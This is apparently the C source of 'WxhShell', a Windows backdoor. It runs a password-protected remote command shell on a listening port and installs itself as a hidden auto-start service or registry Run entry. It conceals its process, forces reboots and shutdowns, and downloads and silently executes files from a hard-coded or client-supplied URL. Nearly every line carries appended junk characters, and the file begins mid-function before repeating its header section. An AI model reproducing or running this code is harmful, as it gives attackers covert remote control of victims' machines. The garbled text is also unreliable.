    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxnMvL;  
    else { Y>eypfK"  
    closesocket(wsh); []e*Io&[  
    ExitThread(0); JpuF6mQ  
    } q!l[^t|;  
    break; oe1Dm   
    } "],amJ  
  // 获取shell {. r/tV5IH  
  case 's': { Y)% CxaO `  
    CmdShell(wsh); x@EEMO1_"  
    closesocket(wsh); ~ ;aSE  
    ExitThread(0); 4%5H<:V7  
    break; 4qw&G  
  } E&G_7->  
  // 退出 UYu 54`'kg  
  case 'x': { _J}vPm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r{m"E^K,  
    CloseIt(wsh); *.ffyBI*~  
    break; 1zE_ SNx  
    } x)@G+I \u  
  // 离开 %;,D:Tv=&  
  case 'q': { ; *G[3kk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f#xqu +)Z  
    closesocket(wsh); yQQ[_1$pq  
    WSACleanup(); ]1]  
    exit(1); A/NwM1z[o)  
    break; B8'(3&)My  
        } Q"]C" ?  
  } yc,Qz.+g  
  } GXaCH))TO  
>iP>v`J  
  // 提示信息 5gq3 >qo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wL 5p0Xl  
} ;F@dN,Y  
  } DBi3 j  
g<~[k?~J  
  return; h+$1+Es  
} x@ bZ((w  
WU1 I>i  
// shell模块句柄 F' ZLN]"{  
int CmdShell(SOCKET sock) ~..h=  
{ tZ1iaYbvV  
STARTUPINFO si; wxPg*R+t  
ZeroMemory(&si,sizeof(si)); <_""4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [_j.pMH/P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FE1dr_i  
PROCESS_INFORMATION ProcessInfo; kl[bDb1p  
char cmdline[]="cmd"; %>cc%(POO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Uc e#v)  
  return 0; `xbk)oW#  
} (CY VSO  
6m21Y8N  
// 自身启动模式 lfR"22t  
int StartFromService(void) ?7:"D e  
{ hMw}[6m  
typedef struct nZQZ!Vfj  
{ C78d29  
  DWORD ExitStatus; ^sH1YE}0  
  DWORD PebBaseAddress; =1n>vUW+J  
  DWORD AffinityMask; &eY$(o-Hw  
  DWORD BasePriority; =_cWCl^5  
  ULONG UniqueProcessId; Pw /wAUt  
  ULONG InheritedFromUniqueProcessId; iZ[o2Tre  
}   PROCESS_BASIC_INFORMATION; ,%d n)gt7  
;BoeE3* 6  
PROCNTQSIP NtQueryInformationProcess; e,I-u'mLQs  
3uRnbO-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > ^3xBI:Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cZL"e  
ik~hL/JD\  
  HANDLE             hProcess; B7t#H?  
  PROCESS_BASIC_INFORMATION pbi; 7 pg8kq@  
Uy ;oJY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oTOe(5N8a  
  if(NULL == hInst ) return 0; +C\?G/  
1`_Mc ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NLb/Bja  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .(;k]U P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (B]Vw+/  
SVXey?A;CJ  
  if (!NtQueryInformationProcess) return 0; \ox:/-[c\<  
a((5_8SX5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wrsETB c  
  if(!hProcess) return 0; XA9$n_| bw  
-lSm:O@'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `-ENKr]  
)Y?H f2']  
  CloseHandle(hProcess); :Np&G4IM>  
XfbkK )d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >)N,V;j  
if(hProcess==NULL) return 0; i8HSYA  
w #(XiH*  
HMODULE hMod; 1ygu>sKS&A  
char procName[255]; m U7Ad"  
unsigned long cbNeeded; "c\T  
F w{8MQ2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zb2 B5( 0  
SCxzT}#J  
  CloseHandle(hProcess); X[;4.imE  
2b|vb}|t{  
if(strstr(procName,"services")) return 1; // 以服务启动 wZrdr4j  
~sSB.g  
  return 0; // 注册表启动 -ZihEyG?V  
} :sT<<LtI-  
z eIBB  
// 主模块 o'Tqqrr  
int StartWxhshell(LPSTR lpCmdLine) ` S85i*  
{ ?wwY8e?S  
  SOCKET wsl; B u4N~0  
BOOL val=TRUE; TqbKH08i/  
  int port=0; ,u]kZ]  
  struct sockaddr_in door; J_P2%b=C  
4TR:bQZs  
  if(wscfg.ws_autoins) Install(); 6dq U4  
)sNtw Sl^  
port=atoi(lpCmdLine); 3wR5:O$H  
hDp'=}85@  
if(port<=0) port=wscfg.ws_port; ;oR-\;]/.  
=:a 3cr~  
  WSADATA data; <j,7Z>Rk\x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OgfQGGc  
E) z g,7Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &a:>P>\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7CG_UB  
  door.sin_family = AF_INET; `hH1rw@7<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =}c~BHT  
  door.sin_port = htons(port); SKG_P)TnO  
7%w4?Nv3I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wdy2;a<\{  
closesocket(wsl); GB[W'QGiq  
return 1; U}Hmzb  
} M>I}^Zp!  
+%gh?  
  if(listen(wsl,2) == INVALID_SOCKET) { * 5P/&*c|  
closesocket(wsl); s_1]&0<  
return 1; ^u Z%d  
} o)-Qd3d%S  
  Wxhshell(wsl); )UJ]IB-Q|1  
  WSACleanup(); ^jCkM29eu  
TD3R/NP  
return 0; !4z"a@$  
QT-rb~  
} [|F.*06SK  
C8G['aQ  
// 以NT服务方式启动 9U;) [R Mb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z1]RwbA?1  
{ ,:z@Ji  
DWORD   status = 0; +JQN=nTA  
  DWORD   specificError = 0xfffffff; g" M1HxlV  
$W0lz#s:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #vS>^OyP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jliKMd<?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E|^a7-}|  
  serviceStatus.dwWin32ExitCode     = 0; aMj3ov8p  
  serviceStatus.dwServiceSpecificExitCode = 0; ul% q6=f)  
  serviceStatus.dwCheckPoint       = 0; xSLN  
  serviceStatus.dwWaitHint       = 0; *YDx6\><  
74Kl!A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +*|E%pq  
  if (hServiceStatusHandle==0) return; 1[}VyP6 e  
oHa6fi  
status = GetLastError(); f 8uVk|a  
  if (status!=NO_ERROR) (,<?Pg7v:f  
{ x&?35B i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +$<m;@mZ  
    serviceStatus.dwCheckPoint       = 0; (oTx*GP>Y  
    serviceStatus.dwWaitHint       = 0; %Y!lEzB5  
    serviceStatus.dwWin32ExitCode     = status; ?.~@lE  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3[Z?`X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (sPZ1Fr\o  
    return; -EL"Sv?  
  } ]*v%(IGK  
l5@k8tnz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (2a~gQGD  
  serviceStatus.dwCheckPoint       = 0; "2Ye\#BU6  
  serviceStatus.dwWaitHint       = 0; D%BV83S   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fC81(5   
} 5SK.R;mn  
-$mzzYH  
// 处理NT服务事件,比如:启动、停止 <GR]A|P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZB%7Sr0  
{ w1iQ#.4K_  
switch(fdwControl) 9RAN$\AKy  
{ pRYt.}/K  
case SERVICE_CONTROL_STOP: e+&/ Tq'2  
  serviceStatus.dwWin32ExitCode = 0; 6t@3 a?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vmk c]DC  
  serviceStatus.dwCheckPoint   = 0; =MoPOib\n  
  serviceStatus.dwWaitHint     = 0; 8# 9.a]AX  
  { t4 aa5@r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T T29 LC@  
  } %3~jg  
  return; _\u'~wWl  
case SERVICE_CONTROL_PAUSE: :@n e29,}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /)v X|qtIY  
  break; \bfNki  
case SERVICE_CONTROL_CONTINUE: *!B,|]wq=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^IC|3sr   
  break; GV%ibqOpQj  
case SERVICE_CONTROL_INTERROGATE: ^#_@Kq%th  
  break; kkh#VGh"  
}; &:Raf5G-E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /y NU0/  
} 4S+P]U*jW  
sdrE4-zd  
// 标准应用程序主函数 QhN5t/Hr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Knn$<!>  
{ M<Eg<*  
cp]\<p('A  
// 获取操作系统版本 ?HU(0Vgn'  
OsIsNt=GetOsVer(); ?n[+0a:8E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y2Y/laD  
:5p`H  
  // 从命令行安装 W${0#qq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xi$uK-AHpj  
z+Y0Zh";/#  
  // 下载执行文件 +AXui|mn  
if(wscfg.ws_downexe) { ]BX|G`CCc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WG1x:,-  
  WinExec(wscfg.ws_filenam,SW_HIDE); l? 7D0  
} d)9=hp;,V  
o2&mhT  
if(!OsIsNt) { , @(lYeD"  
// 如果时win9x,隐藏进程并且设置为注册表启动 @_0XK)pW  
HideProc(); VYik#n>|Gp  
StartWxhshell(lpCmdLine); NouT~K`'  
} 4fQ<A <2/  
else 3-z57f,}6~  
  if(StartFromService()) i. 6c;KU  
  // 以服务方式启动 U%m,:b6V  
  StartServiceCtrlDispatcher(DispatchTable); ;5dJ5_}  
else s}X2*o`,  
  // 普通方式启动 05$CIS>!  
  StartWxhshell(lpCmdLine); z GA1  
l g~Gkd6  
return 0; 08cC rG  
} ioz4kG!  
r m\]  
UJ n3sZ<}  
x7>' 1  
=========================================== 2I>X]r.S!1  
MBp%TX!  
}~y i6!w'  
M;-PrJdyt  
7S}NV7  
UM3}7|  
" &r do Mc;  
X8"4)IZ3  
#include <stdio.h> Z`T]jm-3  
#include <string.h> =YOq0  
#include <windows.h> 5$d>:" >  
#include <winsock2.h> :tdN#m6&  
#include <winsvc.h> #8i DM5:EQ  
#include <urlmon.h> !%?O`+r  
$mgW|TBXCQ  
#pragma comment (lib, "Ws2_32.lib") YZMSiDv[e  
#pragma comment (lib, "urlmon.lib") 58V`I5_  
<Y:{>=  
#define MAX_USER   100 // 最大客户端连接数 Nu/wjx$b  
#define BUF_SOCK   200 // sock buffer B/0Xqyu  
#define KEY_BUFF   255 // 输入 buffer =+DfIO  
#p*D.We  
#define REBOOT     0   // 重启 DS%~'S  
#define SHUTDOWN   1   // 关机 n 9PYZxy  
0*]n#+=  
#define DEF_PORT   5000 // 监听端口 l|9' M'a  
J;|a)Nw  
#define REG_LEN     16   // 注册表键长度 tp*.'p-SI  
#define SVC_LEN     80   // NT服务名长度  k{d]  
xhK8Q  
// 从dll定义API XXPn)kmWR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vhIZkz!9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m Q4(<,F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^m~&2l\N=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' Dcj\=8  
}IEwGoDwNs  
// wxhshell配置信息 =h0vdi%{  
struct WSCFG { <-;/,uu  
  int ws_port;         // 监听端口 ,cE yV74  
  char ws_passstr[REG_LEN]; // 口令 `,QcOkvbC  
  int ws_autoins;       // 安装标记, 1=yes 0=no _t&` T  
  char ws_regname[REG_LEN]; // 注册表键名 %e^GfZ  
  char ws_svcname[REG_LEN]; // 服务名 =gNPS 0H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n&OM~Vs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '.EO+1{a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z36wWdRa6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;`Nh@*_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :aQ.:b(n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jaw&[f 7  
xP4}LL9)  
}; e[ yN  
1r$*8 |p  
// default Wxhshell configuration bd]9 kRq1K  
struct WSCFG wscfg={DEF_PORT, 4>A|2+K\  
    "xuhuanlingzhe", ;3x*pjLG:Q  
    1, b:Z&;A|"{  
    "Wxhshell", A:y HClmn  
    "Wxhshell", 3P@D!lV&K  
            "WxhShell Service", 5skxixG  
    "Wrsky Windows CmdShell Service", m ww<Xm'  
    "Please Input Your Password: ", <Pzy'9  
  1, Lq|>n Y  
  "http://www.wrsky.com/wxhshell.exe",  J3`0i@  
  "Wxhshell.exe" :of(wZa3Q  
    }; Hz\@#   
m/z,MT74*J  
// 消息定义模块 w 5 yOSz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u 3^pQ6Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b9-IrR4h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 27k(`{K  
char *msg_ws_ext="\n\rExit."; _j+!Fd  
char *msg_ws_end="\n\rQuit."; a`L:E'|B9  
char *msg_ws_boot="\n\rReboot..."; Q$uv \h;  
char *msg_ws_poff="\n\rShutdown..."; JIhEkY  
char *msg_ws_down="\n\rSave to "; y];-D>jk  
C];P yQS  
char *msg_ws_err="\n\rErr!"; wBcoh~ (y  
char *msg_ws_ok="\n\rOK!"; q3AqU?f  
s1q8r!2\w  
char ExeFile[MAX_PATH]; +D@5zq:5  
int nUser = 0; \ ?pyax8  
HANDLE handles[MAX_USER]; tI1OmhNN  
int OsIsNt; LH)XD[  
I)tiXcJw  
SERVICE_STATUS       serviceStatus; ]?pQu'-(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (`S^6 -^  
ia7<AwV  
// 函数声明 m8ts!6C  
int Install(void); DmpT<SI+!  
int Uninstall(void); H1 I^Vij  
int DownloadFile(char *sURL, SOCKET wsh); y~fKLIoz"  
int Boot(int flag); w9{C"K?u=  
void HideProc(void); fqhL"Ah   
int GetOsVer(void); P 0e-v0  
int Wxhshell(SOCKET wsl); jMgXIK\  
void TalkWithClient(void *cs); GlnO8cAB  
int CmdShell(SOCKET sock); yVII<ImqIH  
int StartFromService(void); +? h}e  
int StartWxhshell(LPSTR lpCmdLine); Nai5!_'  
?u|@,tQ[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4qE95THB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <q8@a0e@  
q pCI [[  
// 数据结构和表定义 _]-4d_&3(  
SERVICE_TABLE_ENTRY DispatchTable[] = C,An\lsT  
{ nq)F$@  
{wscfg.ws_svcname, NTServiceMain}, z@yTkH_  
{NULL, NULL} [ n7>g   
}; 7 p{Pmq[  
7 !$[XD  
// 自我安装 s{-gsSmE  
int Install(void) MF8-q'upyT  
{ =j62tDS  
  char svExeFile[MAX_PATH]; _p^ "l2%D/  
  HKEY key; {uj_4Ft  
  strcpy(svExeFile,ExeFile); vd{QFJ  
9<6q(]U  
// 如果是win9x系统,修改注册表设为自启动 ovdJ[bO  
if(!OsIsNt) { hbJ>GSoZ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z5kAf~A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $iu[-my_  
  RegCloseKey(key); .!x&d4;,q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fbNzRXw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !R=@Nr>  
  RegCloseKey(key); M2O_kO eZ  
  return 0; q.c)>=!.  
    }  Y !?'[t  
  } W6&vyOc  
} _!nsEG VV  
else { q`VL i  
WwDM^}e  
// 如果是NT以上系统,安装为系统服务 3 r&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O$<>v\NC?  
if (schSCManager!=0) :OG I|[  
{ iQ;p59wSzL  
  SC_HANDLE schService = CreateService KwuucY  
  ( Upe}9xf  
  schSCManager, {_QdB;VwH  
  wscfg.ws_svcname, 1u 9hA~rj  
  wscfg.ws_svcdisp, '+`[)w  
  SERVICE_ALL_ACCESS, c+ oi8G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TmsIyDcD~  
  SERVICE_AUTO_START, /|IPBU 5  
  SERVICE_ERROR_NORMAL, vrkY7L3\  
  svExeFile, /ad9Q~nJ  
  NULL, rO'DT{Yt  
  NULL, 5~L]zE  
  NULL, 9 r!zYZ`)  
  NULL, J@s>Pe)  
  NULL  lN,?N{6s  
  ); j]Jgz<  
  if (schService!=0) BAf$ty h  
  { 8]ZzO(=@{  
  CloseServiceHandle(schService); 1~5DIU^  
  CloseServiceHandle(schSCManager); qN $t_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0cd_l 2f#g  
  strcat(svExeFile,wscfg.ws_svcname); S6TNu+2w4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y;"k5 + q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X@rA2);6  
  RegCloseKey(key); *l+#<5x  
  return 0; ^"WV E["  
    } |A8@r&   
  } +0'F@l  
  CloseServiceHandle(schSCManager); IS2cU'   
} hH %>  
} p+VU:%.t  
.ZpOYhk  
return 1; i%hCV o  
} WsI`!ez;D  
!@xO]Jwv  
// 自我卸载 Vy\Vpp  
int Uninstall(void) \|]mClj#  
{ C=: <[_m`  
  HKEY key; VdLoi\-/L  
H@Dpht>[  
if(!OsIsNt) { T@ c~ql  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0 j.K?]f)h  
  RegDeleteValue(key,wscfg.ws_regname); E}@C4pS  
  RegCloseKey(key); " kDiK`i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J2YQdCL  
  RegDeleteValue(key,wscfg.ws_regname); z3o i(  
  RegCloseKey(key); kT% wt1T4  
  return 0; v}G^+-?  
  } TNX9Z)=>g  
} b)LT[>f  
} L:z0cvn"  
else { ag-A}k>v  
X8 nos  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o NtFYY  
if (schSCManager!=0)  : T*Q2  
{ BOs/:ZbK0W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LG #^g6P  
  if (schService!=0) v pI9TG  
  { C]`uC^6g  
  if(DeleteService(schService)!=0) { t]/eCsR  
  CloseServiceHandle(schService); Nk|cU;?+  
  CloseServiceHandle(schSCManager); j(;^XO Y#  
  return 0; ,,H"?VO  
  } :|S zD4Ag  
  CloseServiceHandle(schService); A# {63_H  
  } bsIG1&n'T  
  CloseServiceHandle(schSCManager); IhnBp 6p9  
} $#Pxf  
} ~>2uRjvkwB  
k3~9;Z  
return 1; ]v+<K63@T  
} ;_<R +w3-  
uO?+vYAN  
// 从指定url下载文件 5xQ-f  
int DownloadFile(char *sURL, SOCKET wsh) 18X@0e  
{ gFDnt  
  HRESULT hr; ?,} u6tH  
char seps[]= "/";  T]#V  
char *token; -dntV=  
char *file; D /eH~  
char myURL[MAX_PATH]; Shn,JmR  
char myFILE[MAX_PATH]; VYvfx  
9&6juL  
strcpy(myURL,sURL); d*(aue=  
  token=strtok(myURL,seps); +H)'(<  
  while(token!=NULL) P3M$&::D-  
  { [$N_YcN?  
    file=token; dC11kq qj  
  token=strtok(NULL,seps); /d`"WK,  
  } g: i5%1  
$] 6u#5  
GetCurrentDirectory(MAX_PATH,myFILE); DaQ"Df_X  
strcat(myFILE, "\\"); ua\t5M5  
strcat(myFILE, file); tne_]+  
  send(wsh,myFILE,strlen(myFILE),0); .~z'm$s1o  
send(wsh,"...",3,0); lu8G $EQI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 36d nS>4  
  if(hr==S_OK) h2l;xt  
return 0; Jt~Ivn,  
else | ,8z" g  
return 1; r pNb.  
h`[$ Bp  
} m]p{]6h  
d} >Po%r:  
// 系统电源模块 7"(!]+BW!O  
int Boot(int flag) z;OYPGvkw  
{ &L o TO+  
  HANDLE hToken; g \mE  
  TOKEN_PRIVILEGES tkp; Fs+ tcr/\[  
H]TdW;ZbZ  
  if(OsIsNt) { }nmlN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k.J%rRneN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /dnwN7Gf  
    tkp.PrivilegeCount = 1; )"?4d[ 5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z8kO)'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JsEJ6!1  
if(flag==REBOOT) { bS_#3T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )^(*B6;z5  
  return 0; uvys>]+  
} 1 ZdB6U0  
else { ]a3$hAcj6"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PyeNu3Il4  
  return 0; P.~UU S  
} 3?OQ-7,  
  } wj[yo S  
  else { K_Y-N!h  
if(flag==REBOOT) { WM bkKC.{J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >w,L=z=  
  return 0; 2.qPMqH  
} z]7 WC  
else { h]7_ N,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T,38Pu@r  
  return 0; \Ne`9k  
} kk4 |4  
} 4jT6h9%  
mh+T!v$[n)  
return 1; (leX` SN0u  
} 0TN28:hcD  
"8za'@D"f  
// win9x进程隐藏模块 zLJ>)v$81  
void HideProc(void) c r=Q39{  
{ @2(u=E:^  
5(;Y&?k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [@$ SLl^Y  
  if ( hKernel != NULL ) U1 `5P!ov  
  { "&(/bdah?&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sv=YI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m\teE]8x  
    FreeLibrary(hKernel); "O$bq::(]e  
  } G?4@[m  
O]:9va  
return; t FU4%c7V  
} J,$xQ?,wE  
}G4I9Py  
// 获取操作系统版本 i?L=8+9f  
int GetOsVer(void) QE 4   
{ /*C!]Z>.  
  OSVERSIONINFO winfo; \p!UY 3'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ir;JYY!0?  
  GetVersionEx(&winfo); Lg4|6.Ez|P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /R&`]9].s  
  return 1; !Uiq3s`1T  
  else _z p<en[  
  return 0; =7!s8D,[  
} \((MoQ9Qk  
=By@%ioIGG  
// 客户端句柄模块 {lK2yi  
int Wxhshell(SOCKET wsl) N:G]wsh  
{ {7y;s  
  SOCKET wsh; lpi"@3  
  struct sockaddr_in client; _hnsH I!oD  
  DWORD myID; #H$lBC WI  
e;i 6C%DB  
  while(nUser<MAX_USER) XtCIUC{r,  
{ .AN1Yt  
  int nSize=sizeof(client); Y9BQLu4F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sRB=<E*_  
  if(wsh==INVALID_SOCKET) return 1; |v+z*}fKw  
9J:|"@)N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l|q-kRRjn  
if(handles[nUser]==0) 9nY`rF8@  
  closesocket(wsh);  \? /'  
else Whd >  
  nUser++; X5owAc6  
  } $Sc_E:`]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _'D(>e?  
]p|?S[!=  
  return 0;  |q3X#s72  
} [kg^S`gc#  
coCT]<  
// 关闭 socket ?HG[N7=j  
void CloseIt(SOCKET wsh) [aSuEu?mC  
{ QN*|_H@h  
closesocket(wsh); d==0 @`  
nUser--; Byq VNz0L  
ExitThread(0); I<}% L V  
} (iKJ~bJ  
)qx;/=D  
// 客户端请求句柄 = #-zK:4  
void TalkWithClient(void *cs) O=__w *<  
{ yjT>bu]  
s.4+5rE  
  SOCKET wsh=(SOCKET)cs; L#S W!  
  char pwd[SVC_LEN]; ?|,:;^2l1  
  char cmd[KEY_BUFF]; 3JC uM_y  
char chr[1]; pW+uVv,  
int i,j; Y. J!]|  
4T@+gy^.  
  while (nUser < MAX_USER) { s[GHDQ;!  
?Uq"zq  
if(wscfg.ws_passstr) { HGAi2+&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YM`T"`f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p2Khfl6-  
  //ZeroMemory(pwd,KEY_BUFF);  Gd A!8  
      i=0; 6y!U68L;B  
  while(i<SVC_LEN) { A+^okT37r  
\k5"&]I3  
  // 设置超时 $'KQP8M+  
  fd_set FdRead; e6MBy\*n  
  struct timeval TimeOut; PVg<Ovi^d  
  FD_ZERO(&FdRead); xO_>%F^?  
  FD_SET(wsh,&FdRead); [.4{s  
  TimeOut.tv_sec=8; MWme3u)D  
  TimeOut.tv_usec=0; GXxI=,L8F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A|LO!P,w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R*vQvO%)h  
#OPEYJ;*9d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CNb(\]  
  pwd=chr[0]; ,c:NdY(,)  
  if(chr[0]==0xd || chr[0]==0xa) { ]y.V#,6e  
  pwd=0; |!] "y<  
  break; FzEs1hpl  
  } ^vMlRt;  
  i++; <y8oYe_!  
    } tTBDb  
m"rht:v5  
  // 如果是非法用户,关闭 socket ?fH1?Z\'K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5IUdA?  
} W:8MqVm34  
pMT7/y-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EF!J#N2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q;bw }4  
.^*;hZ~4%  
while(1) { k Nc- @B  
7)QZ<fme  
  ZeroMemory(cmd,KEY_BUFF); W+ ;=8S  
(=uT*Cb  
      // 自动支持客户端 telnet标准   C*ep8{B  
  j=0; ewd eC  
  while(j<KEY_BUFF) { mH\zSk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i#>t<g`l  
  cmd[j]=chr[0]; ^85Eveu  
  if(chr[0]==0xa || chr[0]==0xd) { {Z k^J  
  cmd[j]=0; 7YD+zd:  
  break; FWJ**J  
  } 4_5f4%S  
  j++; HSysME1X:/  
    } tkZUjQIX  
s8&q8r7%  
  // 下载文件 ~2\Sn-`  
  if(strstr(cmd,"http://")) { 8<"g&+T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZeuL*c \  
  if(DownloadFile(cmd,wsh)) -_nQn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VIdKe&,  
  else Wz.iDRFl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\s`8S  
  } ^P@:CBO  
  else { :+DrV\)  
"\EX)u9ze  
    switch(cmd[0]) { :=y5713  
  }P?e31@:  
